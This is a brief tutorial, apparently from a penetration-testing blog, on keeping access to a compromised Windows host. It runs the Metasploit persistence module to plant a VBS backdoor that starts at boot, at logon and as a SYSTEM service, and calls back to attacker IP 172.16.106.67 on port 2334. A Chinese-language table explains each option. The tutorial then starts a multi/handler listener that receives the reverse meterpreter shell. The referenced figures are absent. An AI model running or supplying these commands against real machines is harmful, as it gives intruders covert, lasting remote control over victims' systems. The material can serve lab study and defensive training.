Maintaining Windows Access by Creating a VBS Backdoor with MSF persistence

Environment

First, gain access to the victim host

• As shown in the figure, the attacker host at 172.16.106.67 has gained control of the victim host at 10.10.10.88.

Use the MSF persistence module to create a backdoor

run persistence -S -U -X -i 5 -p 2334 -r 172.16.106.67

# 参数详解：
-A 自动启动匹配的exploit/multi/handler 连接到代理
-L <opt> 目标主机中要写入有效负载的位置，如果没有，将使用 %TEMP%。
-P <opt> 要使用的有效负载，默认为 windows/meterpreter/reverse_tcp。
-S 在启动时自动启动代理作为服务（具有 SYSTEM 权限）
-T <opt> 要使用的备用可执行模板
-U 用户登录时自动启动代理
-X 系统启动时自动启动代理
-h 帮助菜单
-i <opt> 每次连接尝试之间的时间间隔（以秒为单位）
-p <opt> 运行 Metasploit 的系统正在监听的端口
-r <opt> 运行 Metasploit 的系统的 IP 监听连接

• The following figure shows that the VBS script has been created on the Windows victim host.

Start a listener on the attacker host

• The victim host calls back once every 5 seconds.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.106.67
set lport 2334
exploit

• As shown below, after listening on port 2334, the host successfully comes online: